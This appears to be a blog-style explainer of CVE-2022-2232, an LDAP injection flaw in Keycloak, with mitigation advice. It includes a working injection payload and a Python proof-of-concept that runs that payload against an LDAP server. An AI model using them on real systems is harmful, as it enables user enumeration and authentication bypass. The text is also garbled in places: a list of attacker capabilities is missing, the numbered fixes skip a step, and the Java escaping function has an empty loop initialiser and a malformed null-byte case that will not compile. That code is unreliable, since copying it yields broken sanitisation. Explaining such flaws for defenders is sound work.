Keycloak is a popular open-source Identity and Access Management solution for modern applications and services. Organizations use Keycloak to handle user authentication, authorization, and user management. In 2022, cybersecurity researchers discovered a critical vulnerability in Keycloak: CVE-2022-2232. This bug involves LDAP injection, opening the door for attackers to bypass username lookups — and potentially do even more damage.

In this post, we'll explain what the bug is, how it works, how attackers might exploit it, and how you can defend your systems. We'll use basic language, some sample code, and all the references you’ll need for a deeper dive.

What Is CVE-2022-2232?

CVE-2022-2232 is a security flaw in Keycloak that arises when user input is not safely handled during LDAP queries. If LDAP (Lightweight Directory Access Protocol) is used as the backend user database, and the inputs are not sanitized, an attacker can craft special input to manipulate the LDAP query process.

Here’s the official CVE entry.

Why Is LDAP Injection Dangerous?

LDAP is often used for user lookup and authentication. If an attacker can inject custom LDAP query code, they can:

If Keycloak simply inserts the username directly into an LDAP filter, like below

String ldapQuery = "(&(objectClass=user)(uid=" + username + "))";

– then a malicious username can change how the query runs.

Let’s say the app constructs this LDAP filter

(&(objectClass=user)(uid=USERNAME))

A normal user puts in

Username: alice
LDAP filter becomes: (&(objectClass=user)(uid=alice))

But an attacker enters this as a username

*)(uid=*))(|(uid=*

So the filter becomes

(&(objectClass=user)(uid=*)(uid=*))(|(uid=*))

This filter can match every object with objectClass "user", effectively bypassing the intended lookup and potentially exposing all users.

In a Real Attack

If the application tries to find "uid=*)(uid=*))(|(uid=*", the query could match more users than intended, or even allow an attacker to authenticate as someone else (say, they know an admin username).

Here's a Python PoC to demonstrate how an unsanitized LDAP query can be abused

# This code is for education only!
import ldap

server = "ldap://your-ldap-server"
username = "*)(uid=*))(|(uid=*"
password = "irrelevant"

con = ldap.initialize(server)
search_base = "ou=users,dc=example,dc=com"

search_filter = f"(&(objectClass=user)(uid={username}))"
print(f"LDAP filter: {search_filter}")

try:
    result = con.search_s(
        search_base, 
        ldap.SCOPE_SUBTREE, 
        search_filter, 
        ['cn', 'mail']
    )
    print(result)
except Exception as e:
    print(f"Error: {e}")

If your LDAP server is vulnerable and you run this code, you may see it return more users than intended.

Official References and Write-ups

- Keycloak JIRA Security Issue
- CVE Details Page
- GitHub Security Advisory
- Red Hat Advisory

How Do You Fix (or Mitigate) CVE-2022-2232?

1. Upgrade Keycloak: The best fix is to upgrade to the patched version where user input is properly sanitized before being passed to LDAP queries.
2. Sanitize Input: Never use raw user input in LDAP filters. Use libraries or built-in escape mechanisms.

Review Logins Using LDAP: Check your logs for suspicious usernames or LDAP query errors.

4. Least Privilege: Make sure your Keycloak LDAP account has only the minimum required read permissions.

Example: Escaping User Input (Java)

If you have to build LDAP filters manually, escape special characters (*, (, ), \, and null bytes):

public static String escapeLDAPSearchFilter(String filter) {
    StringBuilder sb = new StringBuilder();
    for (int i = ; i < filter.length(); i++) {
        char c = filter.charAt(i);
        switch (c) {
            case '\\':
                sb.append("\\5c");
                break;
            case '*':
                sb.append("\\2a");
                break;
            case '(':
                sb.append("\\28");
                break;
            case ')':
                sb.append("\\29");
                break;
            case '\':
                sb.append("\\00");
                break;
            default:
                sb.append(c);
        }
    }
    return sb.toString();
}

Use this before inserting input into LDAP search filters.

Conclusion

CVE-2022-2232 is a reminder that even mature, widely-used authentication software can have serious flaws. If you run Keycloak with LDAP backends, update immediately and ensure all user input is properly handled. Don't wait for attackers to find and exploit your systems!

Stay safe, and follow Keycloak's security guidance for future issues.


Feel free to share or adapt this guide to your needs. Remember: always test security issues in controlled, legal settings.

Timeline

Published on: 11/14/2024 15:15:06 UTC
Last modified on: 11/15/2024 13:58:08 UTC